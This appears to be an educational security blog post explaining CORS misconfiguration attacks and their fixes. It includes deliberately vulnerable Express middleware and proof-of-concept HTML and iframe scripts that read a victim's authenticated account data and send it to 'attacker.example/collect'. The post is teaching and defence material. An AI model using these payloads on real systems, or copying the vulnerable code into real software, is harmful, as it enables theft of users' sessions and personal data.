Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Cross-Origin Resource Sharing (CORS) is the mechanism browsers use to selectively relax the Same-Origin Policy so that JavaScript on one origin can read responses from another. It is opt-in on the server side: the browser sends an Origin header and only lets the calling script read the response if the server’s Access-Control-Allow-Origin (ACAO) header names that origin (or *). The security guarantee lives entirely in how carefully the server decides what to put in that header — and that logic is misimplemented constantly.
A CORS misconfiguration turns a same-origin protection into cross-origin data exposure: if a server reflects an arbitrary Origin back in ACAO and sets Access-Control-Allow-Credentials: true, any website the victim’s browser visits can silently issue authenticated, cookie-bearing requests to the vulnerable app and read the response — session tokens, PII, account details, CSRF tokens, anything the victim’s own session could see. It is one of the most common high-impact findings in modern web application assessments because the “fix” (reflect the origin, it’s easier than an allowlist) is also the exact bug.
Attack Prerequisites
For a CORS misconfiguration to be exploitable for data theft, all of the following generally need to hold:
- The server reflects the request’s
Originheader intoAccess-Control-Allow-Origininstead of checking it against a fixed allowlist — or uses a flawed allowlist (unanchored regex, substring match, or trust in the literal stringnull). Access-Control-Allow-Credentials: trueis also set, which is required for the browser to send cookies/HTTP auth on the cross-origin request and for the script to be allowed to read the response — without it, a reflected ACAO is largely harmless for cookie-based sessions.- The target endpoint returns sensitive, session-bound data on a request the browser will actually make cross-origin (a
GET, or aPOSTwith a simple content type, or a request that passes a permissive preflight). - The victim is authenticated (holds a live session cookie) and can be lured to a page the attacker controls, even briefly.
How It Works
A cross-origin fetch/XMLHttpRequest is either a *simple request* (GET/POST with only a few whitelisted headers/content-types) sent immediately, or a *non-simple request* (custom headers, PUT/DELETE, application/json bodies) that triggers a OPTIONS preflight first. In both cases the browser still sends the real request and receives the real response — CORS does not block the request from firing, it blocks the calling script from reading the response unless the response headers say it may. That distinction matters: state-changing GET requests without side-effect protection are exploitable even if the attacker never sees the response, but data-theft CORS bugs specifically require the read to succeed, which is what ACAO + Allow-Credentials controls.
Because Access-Control-Allow-Origin: * is explicitly disallowed by the spec when credentials are involved, developers who want “CORS that works for everyone, with cookies” commonly reach for reflecting the request’s own Origin value back verbatim — which technically satisfies both requirements (a concrete origin is named, not a wildcard) while functionally granting every origin on the internet the same access a wildcard would. A second common pattern is a same-idea allowlist implemented with a broken regex or substring check that was meant to match only first-party subdomains.
A third pattern is trusting the literal Origin: null, which browsers send for sandboxed iframes (<iframe sandbox> without allow-same-origin), file:// pages, and some redirect chains — all of which an attacker can trivially generate on demand, making “null is basically our own app” a false assumption some servers still encode.
Vulnerable Code / Configuration
The most direct misconfiguration: reflecting Origin unconditionally, paired with credentials:
// Express middleware — VULNERABLE
app.use((req, res, next) => {
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin); // reflects ANY origin
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
JavaScriptA subtler variant tries to build an allowlist but anchors the regex incorrectly, so the check passes for hosts that merely *end with* or *contain* the trusted domain string:
// VULNERABLE: missing '^' anchor and scheme check
const allowedPattern = /yunolay\.com$/;
if (allowedPattern.test(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
// Bypass: Origin: https://evilyunolay.com -> matches (no boundary
// before the domain)
// Bypass: Origin: https://attacker.com/yunolay.com -> matches ($ anchors only
// the end of the string,
// not the host)
JavaScriptWalkthrough / Exploitation
Confirm reflection with Burp Repeater by sending an arbitrary Origin and checking whether it is echoed with credentials allowed:
GET /api/account HTTP/1.1
Host: target.example
Origin: https://attacker.example
Cookie: session=<victim-session>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
...
HTTPIf both headers reflect and allow, host a proof-of-concept page that reads the victim’s session-bound response and exfiltrates it:
<script>
fetch('https://target.example/api/account', {credentials: 'include'})
.then(r => r.text())
.then(body => {
fetch('https://attacker.example/collect?d=' + encodeURIComponent(body));
});
</script>
<!-- Victim only needs to load this page while authenticated to target.example -->
HTMLIf the server instead trusts the literal null origin, force that value using a sandboxed iframe from any page you control:
<iframe sandbox="allow-scripts allow-forms"
srcdoc="<script>
fetch('https://target.example/api/account', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.example/collect?d='+encodeURIComponent(d)));
</script>">
</iframe>
<!-- This iframe's Origin header is the literal string 'null' -->
HTMLNote: Custom-header or
PUT/DELETErequests trigger a CORS preflight (OPTIONS) first; the browser only sends the real request ifAccess-Control-Allow-Methods/-Allow-Headerspermit it. SimpleGETs and form-encodedPOSTs skip preflight entirely, so they are the easiest and most common vector — always test with the plainest request type the target endpoint accepts.
Opsec / Testing tip: A reflected ACAO without
Allow-Credentials: trueis usually low severity — it only exposes data that any anonymous visitor could already fetch. Always confirm both headers together, and confirm the response actually contains session-specific (not just public) data before reporting it as an account-takeover-class finding.
Detection and Defense
The fix is a strict, explicit allowlist — never a reflection or a loosely anchored pattern:
- Maintain an explicit allowlist of exact origins (scheme + host + port) and compare the
Originheader against it with an exact string match — no regex, no substring, no reflection. - **Never combine
Access-Control-Allow-Origin: *(or a reflected origin) withAccess-Control-Allow-Credentials: true** — the browser already forbids the wildcard form for credentialed requests; treat a reflected form as equally unsafe. - Do not trust the literal
nullorigin — it is trivially forgeable via sandboxed iframes andfile://contexts. - Anchor and fully qualify any regex-based allowlist (
^https://([a-z0-9-]+\.)?yunolay\.com$) and reject anything that doesn’t match exactly. - Add
Vary: Originto any response whose ACAO value depends on the request origin, to avoid cache-poisoning cross-origin data leakage. - Layer
SameSite=Strict/Laxcookies as defense-in-depth so a CORS misconfiguration alone doesn’t automatically yield a live authenticated session.
Real-World Impact
CORS misconfigurations are a perennial high/critical finding in bug-bounty programs and penetration tests specifically because the underlying mistake is a one-line, easy-to-write “fix” that developers reach for when a strict allowlist feels like too much friction during development, and it is rarely revisited once shipped. Because the impact maps directly to session and PII disclosure with no additional exploitation needed beyond luring a click, it is consistently rated among the more valuable classes of web misconfiguration in modern assessments.
Conclusion
CORS is a narrow, deliberate exception to the Same-Origin Policy, and every shortcut around an explicit allowlist — reflection, loose regexes, trusting null — reopens the exact cross-origin read the policy exists to prevent. Pair a strict origin allowlist with careful use of Access-Control-Allow-Credentials, and treat any deviation from exact-match origin comparison as a bug worth fixing before it becomes a session-theft finding.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments